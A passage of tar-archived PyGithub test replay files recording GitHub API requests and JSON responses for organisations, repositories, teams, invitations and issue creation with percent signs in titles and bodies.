ithub/pull/2.patch"},"body":"This pr is created to used for automated acctest.\r\nAfter I recorded the replay data, this will be closed.","closed_by":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterprise.txt0000644000175100001660000001007714756101563027361 0ustar00runnerdockerhttp GET my.enterprise.com None /some/prefix/orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bd349122929faf5f9be3e53d9ad41d08"'), ('date', 'Fri, 11 May 2012 09:07:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"Organization","url":"https://my.enterprise.com/some/prefix/orgs/BeaverSoftware","billing_email":"BeaverSoftware@vincent-jacques.net","disk_usage":112,"plan":{"private_repos":0,"space":307200,"name":"free"},"html_url":"https://github.com/BeaverSoftware","blog":null,"login":"BeaverSoftware","public_gists":0,"email":null,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","total_private_repos":0,"private_gists":0,"collaborators":0,"created_at":"2012-02-09T19:20:12Z","company":null,"location":"Paris, France","followers":0,"following":0,"name":null,"owned_private_repos":0,"id":1424031,"public_repos":2} http GET my.enterprise.com None /some/prefix/orgs/BeaverSoftware/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://my.enterprise.com/some/prefix/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://my.enterprise.com/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"},{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://my.enterprise.com/some/prefix/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://my.enterprise.com/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue80.testIgnoreHttpsFromGithubEnterpriseWithPort.txt0000644000175100001660000001013014756101563031050 0ustar00runnerdockerhttp GET my.enterprise.com 1234 /some/prefix/orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bd349122929faf5f9be3e53d9ad41d08"'), ('date', 'Fri, 11 May 2012 09:07:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"Organization","url":"https://my.enterprise.com:1234/some/prefix/orgs/BeaverSoftware","billing_email":"BeaverSoftware@vincent-jacques.net","disk_usage":112,"plan":{"private_repos":0,"space":307200,"name":"free"},"html_url":"https://github.com/BeaverSoftware","blog":null,"login":"BeaverSoftware","public_gists":0,"email":null,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","total_private_repos":0,"private_gists":0,"collaborators":0,"created_at":"2012-02-09T19:20:12Z","company":null,"location":"Paris, France","followers":0,"following":0,"name":null,"owned_private_repos":0,"id":1424031,"public_repos":2} http GET my.enterprise.com 1234 /some/prefix/orgs/BeaverSoftware/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '2300'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"56a6b76672924aa7f1d6f1753388f04b"'), ('date', 'Sun, 27 May 2012 05:12:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://my.enterprise.com:1234/some/prefix/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://my.enterprise.com:1234/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"},{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://my.enterprise.com:1234/some/prefix/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://my.enterprise.com:1234/some/prefix/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue823.setUp.txt0000644000175100001660000001311114756101563021340 0ustar00runnerdockerhttps GET api.github.com None /orgs/p-society {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 11:10:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1545826255'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"6580793c7561d3bf848eb8a135d33833"'), ('Last-Modified', 'Wed, 05 Dec 2018 16:45:38 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8C70:6FB5:4C1D7B3:A5203B7:5C2361BD')] {"login":"p-society","id":29895434,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI5ODk1NDM0","url":"https://api.github.com/orgs/p-society","repos_url":"https://api.github.com/orgs/p-society/repos","events_url":"https://api.github.com/orgs/p-society/events","hooks_url":"https://api.github.com/orgs/p-society/hooks","issues_url":"https://api.github.com/orgs/p-society/issues","members_url":"https://api.github.com/orgs/p-society/members{/member}","public_members_url":"https://api.github.com/orgs/p-society/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/29895434?v=4","description":"IIIT Bhubaneswar's Programming Society","name":"Programming Society","company":null,"blog":"https://p-society.herokuapp.com/","location":"Bhubaneswar","email":"psocietyiiitbh@gmail.com","is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":23,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/p-society","created_at":"2017-07-04T14:47:55Z","updated_at":"2018-12-05T16:45:38Z","type":"Organization","total_private_repos":2,"owned_private_repos":2,"private_gists":0,"disk_usage":30533,"collaborators":0,"billing_email":"shibasishpatel@live.in","plan":{"name":"team","space":976562499,"private_repos":99999,"filled_seats":34,"seats":34},"default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false} https GET api.github.com None /teams/2745783 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 11:10:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1545826255'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"0452ef7aded17dfd16179e5248c4bd14"'), ('Last-Modified', 'Tue, 01 May 2018 17:57:43 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D55C:6FB2:118318A:2F5B512:5C2361C0')] {"name":"2019-batch","id":2745783,"node_id":"MDQ6VGVhbTI3NDU3ODM=","slug":"2019-batch","description":"Students from the batch of 2015-19","privacy":"closed","url":"https://api.github.com/teams/2745783","members_url":"https://api.github.com/teams/2745783/members{/member}","repositories_url":"https://api.github.com/teams/2745783/repos","permission":"pull","created_at":"2018-05-01T17:57:43Z","updated_at":"2018-05-01T17:57:43Z","members_count":6,"repos_count":1,"organization":{"login":"p-society","id":29895434,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI5ODk1NDM0","url":"https://api.github.com/orgs/p-society","repos_url":"https://api.github.com/orgs/p-society/repos","events_url":"https://api.github.com/orgs/p-society/events","hooks_url":"https://api.github.com/orgs/p-society/hooks","issues_url":"https://api.github.com/orgs/p-society/issues","members_url":"https://api.github.com/orgs/p-society/members{/member}","public_members_url":"https://api.github.com/orgs/p-society/public_members{/member}","avatar_url":"https://avatars0.githubusercontent.com/u/29895434?v=4","description":"IIIT Bhubaneswar's Programming Society","name":"Programming Society","company":null,"blog":"https://p-society.herokuapp.com/","location":"Bhubaneswar","email":"psocietyiiitbh@gmail.com","is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":23,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/p-society","created_at":"2017-07-04T14:47:55Z","updated_at":"2018-12-05T16:45:38Z","type":"Organization"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue823.testGetPendingInvitationAttributes.txt0000644000175100001660000000504714756101563027311 0ustar00runnerdockerhttps GET api.github.com None /teams/2745783/invitations {'Accept': 'application/vnd.github.dazzler-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 26 Dec 2018 11:10:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1545826255'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"debc51b3da093a55c674f2303663ab69"'), ('X-GitHub-Media-Type', 'github.dazzler-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8C74:6FB4:3A8ABED:8659024:5C2361C2')] [{"id":6080804,"node_id":"MDIyOk9yZ2FuaXphdGlvbkludml0YXRpb242MDgwODA0","login":"pratchef","email":null,"role":"direct_member","created_at":"2018-05-02T00:19:26.000+05:30","inviter":{"login":"palash25","id":21367710,"node_id":"MDQ6VXNlcjIxMzY3NzEw","avatar_url":"https://avatars0.githubusercontent.com/u/21367710?v=4","gravatar_id":"","url":"https://api.github.com/users/palash25","html_url":"https://github.com/palash25","followers_url":"https://api.github.com/users/palash25/followers","following_url":"https://api.github.com/users/palash25/following{/other_user}","gists_url":"https://api.github.com/users/palash25/gists{/gist_id}","starred_url":"https://api.github.com/users/palash25/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/palash25/subscriptions","organizations_url":"https://api.github.com/users/palash25/orgs","repos_url":"https://api.github.com/users/palash25/repos","events_url":"https://api.github.com/users/palash25/events{/privacy}","received_events_url":"https://api.github.com/users/palash25/received_events","type":"User","site_admin":false},"team_count":1,"invitation_teams_url":"https://api.github.com/organizations/29895434/invitations/6080804/teams"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue87.setUp.txt0000644000175100001660000000655514756101563021300 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '806'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4703'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e199a6b2e012ed6ffb1e6a935f4ba856"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 25 Sep 2012 19:50:45 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","blog":"http://vincent-jacques.net","public_gists":3,"html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","hireable":false,"private_gists":5,"plan":{"space":614400,"private_repos":5,"name":"micro","collaborators":1},"created_at":"2010-07-09T06:10:06Z","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","email":"vincent@vincent-jacques.net","bio":"","disk_usage":18788,"public_repos":13,"total_private_repos":4,"following":29,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","owned_private_repos":4,"collaborators":1,"id":327146,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1238'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4702'), ('server', 'nginx'), ('last-modified', 'Mon, 24 Sep 2012 18:51:20 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d0aaa41da0d7452a0dad489a3a4fcd35"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 25 Sep 2012 19:50:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"open_issues":16,"mirror_url":null,"has_issues":true,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","owner":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub","master_branch":"master","description":"Python library implementing the full Github API v3","forks_count":20,"has_downloads":true,"created_at":"2012-02-25T12:53:47Z","svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","network_count":20,"watchers_count":79,"size":408,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-09-17T19:28:28Z","forks":20,"has_wiki":true,"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"watchers":79,"open_issues_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","private":false,"updated_at":"2012-09-24T18:51:20Z","full_name":"jacquev6/PyGithub","id":3544490,"url":"https://api.github.com/repos/jacquev6/PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInBody.txt0000644000175100001660000000306314756101563030052 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Escaped percent %25 in body", "title": "Issue created by PyGithub"} 201 [('status', '201 Created'), ('content-length', '778'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('etag', '"5b11ec85aeed655554b5e7b977975ea0"'), ('x-ratelimit-remaining', '4710'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/96'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:41 GMT'), ('content-type', 'application/json; charset=utf-8')] {"closed_by":null,"created_at":"2012-09-25T19:50:41Z","comments":0,"title":"Issue created by PyGithub","state":"open","assignee":null,"number":96,"updated_at":"2012-09-25T19:50:41Z","html_url":"https://github.com/jacquev6/PyGithub/issues/96","milestone":null,"body":"Escaped percent %25 in body","labels":[],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","id":327146,"login":"jacquev6","url":"https://api.github.com/users/jacquev6"},"pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"closed_at":null,"id":7132212,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/96"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue87.testCreateIssueWithEscapedPercentInTitle.txt0000644000175100001660000000306714756101563030242 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Issue with escaped percent %25 in title created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4707'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('etag', '"50db679c69dac05fd00490516c95521a"'), ('content-length', '787'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/97'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"body":null,"assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/97","milestone":null,"created_at":"2012-09-25T19:50:43Z","comments":0,"title":"Issue with escaped percent %25 in title created by PyGithub","pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"closed_at":null,"state":"open","closed_by":null,"number":97,"updated_at":"2012-09-25T19:50:43Z","id":7132216,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/97"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue87.testCreateIssueWithPercentInBody.txt0000644000175100001660000000303714756101563026566 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Percent % in body", "title": "Issue created by PyGithub"} 201 [('status', '201 Created'), ('content-length', '768'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4704'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/98'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:45 GMT'), ('etag', '"41fe20e6fee4a38d4b11589129459e15"'), ('content-type', 'application/json; charset=utf-8')] {"body":"Percent % in body","assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/98","milestone":null,"created_at":"2012-09-25T19:50:45Z","comments":0,"title":"Issue created by PyGithub","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"closed_at":null,"state":"open","closed_by":null,"number":98,"updated_at":"2012-09-25T19:50:45Z","id":7132217,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/98"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue87.testCreateIssueWithPercentInTitle.txt0000644000175100001660000000304314756101563026747 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/issues {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"title": "Issue with percent % in title created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4701'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('content-length', '777'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"4f8b2cd3aecb26240538f54c3e4ff8f6"'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/99'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 25 Sep 2012 19:50:46 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"body":null,"assignee":null,"labels":[],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"},"closed_at":null,"milestone":null,"created_at":"2012-09-25T19:50:46Z","comments":0,"closed_by":null,"title":"Issue with percent % in title created by PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"state":"open","number":99,"updated_at":"2012-09-25T19:50:46Z","id":7132221,"html_url":"https://github.com/jacquev6/PyGithub/issues/99","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/99"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue937.setUp.txt0000644000175100001660000004550714756101563021364 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 21:13:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1540157093'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"605a3ce7e4fb2cf76f450b75b1efd423"'), ('Last-Modified', 'Sun, 14 Oct 2018 04:50:21 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 